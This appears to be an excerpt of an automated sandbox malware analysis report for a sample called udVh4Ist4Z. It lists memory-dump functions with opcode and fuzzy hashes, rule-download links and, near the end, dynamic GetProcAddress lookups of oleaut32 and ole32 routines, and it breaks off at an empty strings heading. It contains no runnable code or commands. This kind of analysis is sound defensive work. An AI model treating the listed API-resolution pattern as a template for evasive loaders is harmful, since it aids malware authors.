Function 02B62018 Relevance: .6, Instructions: 613COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27925b6721cd244bdc21143d6bf8a631f74da6fed394caaad021ae31fa6508b1
Instruction ID: e3bfc47711d8dc140d9100ea55b0739101766626e953c3ce33df83c1f99f6ea2
Opcode Fuzzy Hash: 27925b6721cd244bdc21143d6bf8a631f74da6fed394caaad021ae31fa6508b1
Instruction Fuzzy Hash: 0732B439D09B81CBF3A1DB79809E426F7D0EF2172435158CDDA9342958972D9C2ACF87

Uniqueness

Uniqueness Score: -1.00%

Function 02B6134B Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda7052e20b530288dff689475e1215f235710ffabc6898512a0157b343a587b
Instruction ID: ae1aa36a4fefd071fca6e055153682197373149c3deb487b39aea24dc024f198
Opcode Fuzzy Hash: eda7052e20b530288dff689475e1215f235710ffabc6898512a0157b343a587b
Instruction Fuzzy Hash: 9B12A039D18B81CBE7A1DB79808D556F7E0EF2132438598CDD69743E0893289D2B8F87

Uniqueness

Uniqueness Score: -1.00%

Function 02B60719 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0444d53bf58fec81d7d08260bcaa4e442e4aafa10957aac69d81864b1b8d134
Instruction ID: af39f372df8a56563a3d4b925733b7e94c3c091645a7e2c3b8803c8e281df3e0
Opcode Fuzzy Hash: e0444d53bf58fec81d7d08260bcaa4e442e4aafa10957aac69d81864b1b8d134
Instruction Fuzzy Hash: 0BD1043AD09B81CBA361F97A404E236BA90FF257547642DCEC567424807A1D9C6B8FC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B6265E Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf51383338b9954006a8d78d40cba9a9f8383d76ca53bc17625f042b8d3af5f
Instruction ID: 53e9adb87d2c6470945e0820ceb9001571e195c95b29271f4e9a264b11e3804d
Opcode Fuzzy Hash: 2bf51383338b9954006a8d78d40cba9a9f8383d76ca53bc17625f042b8d3af5f
Instruction Fuzzy Hash: 98C1D43AD09B81C7B361E9B8444F932BAC0EF657507A02CC9CD67428857A0D9C6F8FD6

Uniqueness

Uniqueness Score: -1.00%

Function 02B610D5 Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060aa474a2bff4f457c92a8e0c64bfd1f24a48cf3089d4f98921a53541dec077
Instruction ID: 44fcb4e532eb6c3e74b5626d7d39de1b955be6ccb9b05cfd65a7cebe7d7705c8
Opcode Fuzzy Hash: 060aa474a2bff4f457c92a8e0c64bfd1f24a48cf3089d4f98921a53541dec077
Instruction Fuzzy Hash: E3B1933AD25B80C77361E9BC404F537B690EF657507542DCAC96F82A806A1D8CAF8EC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B604A9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7633e4bc6fac09cffaac5ee22d360a1680436d6905ed4c47f06ffae9fc5f3c74
Instruction ID: 2b7b4733e31290e03f84212e951e901220867f38505009897dee52cd3c8f1316
Opcode Fuzzy Hash: 7633e4bc6fac09cffaac5ee22d360a1680436d6905ed4c47f06ffae9fc5f3c74
Instruction Fuzzy Hash: 6F91DF3DE19F90CBE351F5B8808E652BBD0EE6A6143946DCDC5A74380A63188D6F8FC5

Uniqueness

Uniqueness Score: -1.00%

Function 02B601DE Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1eba1aae4ef8e79a59a5c7e9243fe513f61ed30961ba9d2203fb51320f5ba74
Instruction ID: 3084bcd53ac59903a11d7c3ffc5094534da85d7afbd7ccfbfc39045927dc1cf6
Opcode Fuzzy Hash: d1eba1aae4ef8e79a59a5c7e9243fe513f61ed30961ba9d2203fb51320f5ba74
Instruction Fuzzy Hash: FE91B63DD0DB40CB6361F97A404E132B690FF697557586DCDC9A7828806A1D8C6B8FC7

Uniqueness

Uniqueness Score: -1.00%

Function 02B60D38 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d603ee1f1805836df4209ac0cfeee31a205b97ca3cfb06a16ee6992b65450a8c
Instruction ID: f96309a16773fe639bd338e2437a125c2198903c9136de91866e251c6e94157e
Opcode Fuzzy Hash: d603ee1f1805836df4209ac0cfeee31a205b97ca3cfb06a16ee6992b65450a8c
Instruction Fuzzy Hash: A881D639D19B91CBA3A1F5B9404F572BAC0FF267147902DC9C467828857A1D8C6F8FC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B62953 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8ae63e840b889f79d98c2be02cbe2a9346125a6dff968a847ae6a8ce8ecbdfd
Instruction ID: 652223244885b0418ddec2f2fb9ce3de2c38525553a26a27d25b5b91696bc459
Opcode Fuzzy Hash: a8ae63e840b889f79d98c2be02cbe2a9346125a6dff968a847ae6a8ce8ecbdfd
Instruction Fuzzy Hash: 1451AF3EE19B81C77361E8B8484E632B6C0EF657147542DC9CD6B428847A1DAC2F8FD6

Uniqueness

Uniqueness Score: -1.00%

Function 02B60000 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dfead5a017cd36d3feaf17f600529449a5bb0539cdb5da504dd4c491ec36500
Instruction ID: f3e63a68be48417a2cd6bde9e2122e37b7e306c02a2c203999c17e4eca7bb869
Opcode Fuzzy Hash: 9dfead5a017cd36d3feaf17f600529449a5bb0539cdb5da504dd4c491ec36500
Instruction Fuzzy Hash: 2571B139C08B41CFE7A1EB368089526F7E0FF6172435198CDE69346918A72DDC6A8F47

Uniqueness

Uniqueness Score: -1.00%

Function 02B60485 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38976e1edb0c4285d487dd7a1a6a9e57a2880d90ad22c437041f4ddd3974f101
Instruction ID: efe1ac60b4645dd091602f2e7571b46db77421a710b84c4367216f45d8b410b2
Opcode Fuzzy Hash: 38976e1edb0c4285d487dd7a1a6a9e57a2880d90ad22c437041f4ddd3974f101
Instruction Fuzzy Hash: B0417F3AD0DB81C77361F876404E537B690FF697167986CCE89A7828406A1C8C2F8FD6

Uniqueness

Uniqueness Score: -1.00%

Function 02B60425 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa83b71b02f601142691e2f830ce7d8f28cd9cf9b8ded4ba91d0f0c820722cc
Instruction ID: d3d26069e32249c327cb93cc415719a8292139345e5762092bc57a1daa8f468a
Opcode Fuzzy Hash: efa83b71b02f601142691e2f830ce7d8f28cd9cf9b8ded4ba91d0f0c820722cc
Instruction Fuzzy Hash: 1F318639D1DB80CB7361F976404E176B680FF6925679C6DCE8867828452A0C8C2B8FD7

Uniqueness

Uniqueness Score: -1.00%

Function 02B611EA Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0229eb4fb01197e5da1b57971c7c97f8264d979de064060e7e876e90b447d6a
Instruction ID: 9165e34f79be271df269099a81a36b4cd0564ff5b11dcab2fed2a519d4ded775
Opcode Fuzzy Hash: a0229eb4fb01197e5da1b57971c7c97f8264d979de064060e7e876e90b447d6a
Instruction Fuzzy Hash: 9C31B43AE35A80C77350E8BD404F172F591DF61654B6429CAC86E82A407E1D88AB8FC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B6049D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bbf9b4f2d4226785c5a90c4fa0ba9b85b3d41db6c61e393382e104b37dc5d48
Instruction ID: a82b48141e3d0b66753921885288fc2de3ff3371e92849a2a7b8d9d6c9928bdf
Opcode Fuzzy Hash: 1bbf9b4f2d4226785c5a90c4fa0ba9b85b3d41db6c61e393382e104b37dc5d48
Instruction Fuzzy Hash: C221B63ED0DB90CB6261F8BA404E136BA90FF6D61679C7DCEC957428452A0C4C6F8F96

Uniqueness

Uniqueness Score: -1.00%

Function 02B60419 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0b922751b4bc5b7be17843313b4233d2c9b20d982a4c415fa7e1bcba5933b0
Instruction ID: 178350541eddd48480c23dfd84da6b4ed488d5b234be7a9abd364f431e905db4
Opcode Fuzzy Hash: 9e0b922751b4bc5b7be17843313b4233d2c9b20d982a4c415fa7e1bcba5933b0
Instruction Fuzzy Hash: A7217339D1DB80CB6361F976404E176B680FF696167986CCE89A7828442A0C8C2B8B97

Uniqueness

Uniqueness Score: -1.00%

Function 02D620C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Uniqueness

Uniqueness Score: -1.00%

Function 02B620F2 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598e4fa0a6c3dc71279868387853e6bd34256f3a3637c12d194fc477c962afa7
Instruction ID: 590312db1251b1f871dc1defa2783c190f0f3d7a303ba406ed95d43c76f4bd48
Opcode Fuzzy Hash: 598e4fa0a6c3dc71279868387853e6bd34256f3a3637c12d194fc477c962afa7
Instruction Fuzzy Hash: AF21823DD1A681CB7261D9B8410F532B680EB2535479029CACD6BC148D6F1D886BCEC7

Uniqueness

Uniqueness Score: -1.00%

Function 02B609BC Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 111b53cff25a2673dd558ca79a485901786b4927559ee575d709e235e0b2dc1a
Instruction ID: 4c0f6a6b993273ae82c84b3a6c7856dfdbe8839d09ac3fc87569ed1065c8cdf9
Opcode Fuzzy Hash: 111b53cff25a2673dd558ca79a485901786b4927559ee575d709e235e0b2dc1a
Instruction Fuzzy Hash: 1021803AD09B80C77261F8BE404E277BA91FF753147942DC9CA67814C02A1C9C6A8ED7

Uniqueness

Uniqueness Score: -1.00%

Function 02B61045 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60bccb0983a195af127729942d00bd15ea1b5169b5dcd8ddf11bf3476f6f730f
Instruction ID: 2731862692de08f0f6529b326196b9ee55b90f76e74df3b149c4a3ad55b19536
Opcode Fuzzy Hash: 60bccb0983a195af127729942d00bd15ea1b5169b5dcd8ddf11bf3476f6f730f
Instruction Fuzzy Hash: 0221D239D2ABC0CB6761E9BC410F137F690EF653117642CC9C82F529816E1C8C6B8AC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B610C9 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cb9c06afc936722c8cf0aac957b8075e2c204ded11318b568d289886b440f4f
Instruction ID: 65d911e347c7c7029570c92536400b2f6b1506561996d872c4dd42c2f1b9ee44
Opcode Fuzzy Hash: 3cb9c06afc936722c8cf0aac957b8075e2c204ded11318b568d289886b440f4f
Instruction Fuzzy Hash: 3C21AD3A929BC0C77791F97C404F676B690EF652107A42DC9C46B529816A1C4C6F8A86

Uniqueness

Uniqueness Score: -1.00%

Function 02B61549 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c54a113798a5fb0fc1339d7fb877decd2b6785cfdab7e57e038a59e30a6ee17
Instruction ID: 607241561f6b7bdb0adfd2cedf497b6ffb9d3f0f980a2ebd08f99ff9f141658c
Opcode Fuzzy Hash: 7c54a113798a5fb0fc1339d7fb877decd2b6785cfdab7e57e038a59e30a6ee17
Instruction Fuzzy Hash: 9F219139D26B50C77360E9BC404F232F6D0EF2525575829C9C96F83E817A1C886B8F86

Uniqueness

Uniqueness Score: -1.00%

Function 02B6040D Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 992b65f13630ebc56c94cd2062cf8516ba52e32c871384366916605f9df41cd9
Instruction ID: 971bb1622aa5df668b6624c37f5af85f83f41292eb62c2df152a20de8e3ae032
Opcode Fuzzy Hash: 992b65f13630ebc56c94cd2062cf8516ba52e32c871384366916605f9df41cd9
Instruction Fuzzy Hash: 46216539D4DB80CB6361F976404F137F680FF2D3167586DCA8967828806E1C8C6A8AC7

Uniqueness

Uniqueness Score: -1.00%

Function 02B6102E Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0238eb00d718a015d6a17870e1c320297f6e0322f9d5fe124c5846cb226447a8
Instruction ID: 32e322d6933fe4483ff3c3fa85ed250364bff5be8a4ae92083195db0eeb510d2
Opcode Fuzzy Hash: 0238eb00d718a015d6a17870e1c320297f6e0322f9d5fe124c5846cb226447a8
Instruction Fuzzy Hash: 0121F239D2A7C0CB7760F9B8400F537F690EF2131175429C9C82F829816E1C4CAB8AC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B614C9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c8e3324e2d47020e24b2f647298d262e31213920b099233065d41d159ca4bf0
Instruction ID: 31a181089fd51a0056ba29fdeeee00ac9401eb8f3bf081234e3df8b3175ae0e5
Opcode Fuzzy Hash: 6c8e3324e2d47020e24b2f647298d262e31213920b099233065d41d159ca4bf0
Instruction Fuzzy Hash: FD21BE39D25B80C77391E9BC404F273F6D0AF613557A82DC9C96F83D806A1D886B8EC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B609B0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecd097d3be57cd47c7e9075383ca9fd05c48c1cc93e805e191c49a15ddbeb170
Instruction ID: 649cad9a269c7d3b9d36307d74a1c07fa8feff0cc78ceec16f21d76471f7951f
Opcode Fuzzy Hash: ecd097d3be57cd47c7e9075383ca9fd05c48c1cc93e805e191c49a15ddbeb170
Instruction Fuzzy Hash: 1611A43AD09B40C77251F8BA414E276B691FF313547542DCDCA67814C02A1C9C6B8ED7

Uniqueness

Uniqueness Score: -1.00%

Function 02B610BD Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381052d0a0af0934c2846e3330ef183fe16ff7fe64fd93a14aac3997eb3facdf
Instruction ID: 63d252f8b9526e64e4209bb86814941b20c25c5b61ebb69d77bdafb054f87931
Opcode Fuzzy Hash: 381052d0a0af0934c2846e3330ef183fe16ff7fe64fd93a14aac3997eb3facdf
Instruction Fuzzy Hash: B5116F39D26BC0CB7761E9B8404F537B694EF253117A42CC9C82F929816E1C8C6E8BD6

Uniqueness

Uniqueness Score: -1.00%

Function 02B6153D Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475799fc2cf36ba386f4adc40ca0e380ea8360aab5543f6c12f37583c63667ca
Instruction ID: 774c1eb3bea2d59c96f4445953dec5a164b320888aafa22f5cbe5c392e9d0b42
Opcode Fuzzy Hash: 475799fc2cf36ba386f4adc40ca0e380ea8360aab5543f6c12f37583c63667ca
Instruction Fuzzy Hash: D4119339D26B50C77360E9BC404F232F6D0EF613557582DC9C96F83A816A1C882A8F86

Uniqueness

Uniqueness Score: -1.00%

Function 02B61362 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd670f08d3713b1694ae4af04bcf86f7dee781d0857d425e9628cee01928871
Instruction ID: 9a28c9ae146b6ff180bced1e1d93a36fa6021a3dfbe94c00851b6061a9cb0241
Opcode Fuzzy Hash: 3dd670f08d3713b1694ae4af04bcf86f7dee781d0857d425e9628cee01928871
Instruction Fuzzy Hash: 22119A39D39680D77750E9BC414F132B690EF6135475899CAC86FC6E806E1C8866CEC7

Uniqueness

Uniqueness Score: -1.00%

Function 02B61531 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94813ef438d76fa5b1a6a03d0fabb2e97079158e6f7d5092bd163058d3efb34b
Instruction ID: c3ca7a9a3a14254cc553995f4d5681becdb35bb5ab2f4c208710bb24f93b6b74
Opcode Fuzzy Hash: 94813ef438d76fa5b1a6a03d0fabb2e97079158e6f7d5092bd163058d3efb34b
Instruction Fuzzy Hash: 5A11B439D26B40C77351D9B8404F233F6D0EF613557142DC9C96B83A806A1C882B8FC6

Uniqueness

Uniqueness Score: -1.00%

Function 02B614BD Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dcf526487e59b33916602e7a0125df274e9f6d5af2a162c2c924d788fe91999
Instruction ID: ddf1e89136d404f0e808fc284d4fef4e75822216cb5f4dfb99790af6dbb29194
Opcode Fuzzy Hash: 7dcf526487e59b33916602e7a0125df274e9f6d5af2a162c2c924d788fe91999
Instruction Fuzzy Hash: A9119139D25B50C76391E9B8404F272F6D0AF613557682DCDC96B83D806A1D8C6B8E86

Uniqueness

Uniqueness Score: -1.00%

Function 02B609A4 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2086690283.0000000002B60000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2b60000_udVh4Ist4Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b6a24cce1ca9f7437834823e7443a732e98641c20b5b75ab61c5051014f30
Instruction ID: 52a5b68fc76ff9cf3d514d7e84df2bfac5c84933d054633781d6e77c3f4e829d
Opcode Fuzzy Hash: 438b6a24cce1ca9f7437834823e7443a732e98641c20b5b75ab61c5051014f30
Instruction Fuzzy Hash: 9511C23AD4A790CB7361F8BA010F232F591FF31354B842DC9CA27814C02A1C9C6A8EC7

Uniqueness

Uniqueness Score: -1.00%

Function 02D6D250 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02D6D259

Part of subcall function 02D6D224: GetProcAddress.KERNEL32(00000000), ref: 02D6D23D

Strings

VarR4FromStr, xrefs: 02D6D39B
VarXor, xrefs: 02D6D359
VarBoolFromStr, xrefs: 02D6D3F3
VarNot, xrefs: 02D6D293
VarBstrFromDate, xrefs: 02D6D41F
VarAnd, xrefs: 02D6D32D
VarSub, xrefs: 02D6D2BF
VarAdd, xrefs: 02D6D2A9
VarOr, xrefs: 02D6D343
VarI4FromStr, xrefs: 02D6D385
oleaut32.dll, xrefs: 02D6D254
VariantChangeTypeEx, xrefs: 02D6D267
VarR8FromStr, xrefs: 02D6D3B1
VarMod, xrefs: 02D6D317
VarCmp, xrefs: 02D6D36F
VarDateFromStr, xrefs: 02D6D3C7
VarCyFromStr, xrefs: 02D6D3DD
VarBstrFromBool, xrefs: 02D6D435
VarMul, xrefs: 02D6D2D5
VarNeg, xrefs: 02D6D27D
VarDiv, xrefs: 02D6D2EB
VarIdiv, xrefs: 02D6D301
VarBstrFromCy, xrefs: 02D6D409

Memory Dump Source

Source File: 00000000.00000002.2148779306.0000000002D61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02D60000, based on PE: true

Associated: 00000000.00000002.2148733672.0000000002D60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d60000_udVh4Ist4Z.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: cb53e3fafa87f35cd762337d605bae47e4d70c39cac58913a0a722a02f9a58d5
Instruction ID: fe08115081c04f882757b4426b281bb6521d2b5cf7100bce79533ee62ad18ec0
Opcode Fuzzy Hash: cb53e3fafa87f35cd762337d605bae47e4d70c39cac58913a0a722a02f9a58d5
Instruction Fuzzy Hash: B9411461B442065B5218AAAE780C43BBBDBE65D7507F4C41BF444ABB4CDE30FC528E39

Uniqueness

Uniqueness Score: -1.00%

Function 02D76E94 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02D76E9A
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02D76EAB
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02D76EBB
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02D76ECB
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02D76EDB
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02D76EEB
GetProcAddress.KERNEL32 ref: 02D76EFB

Strings

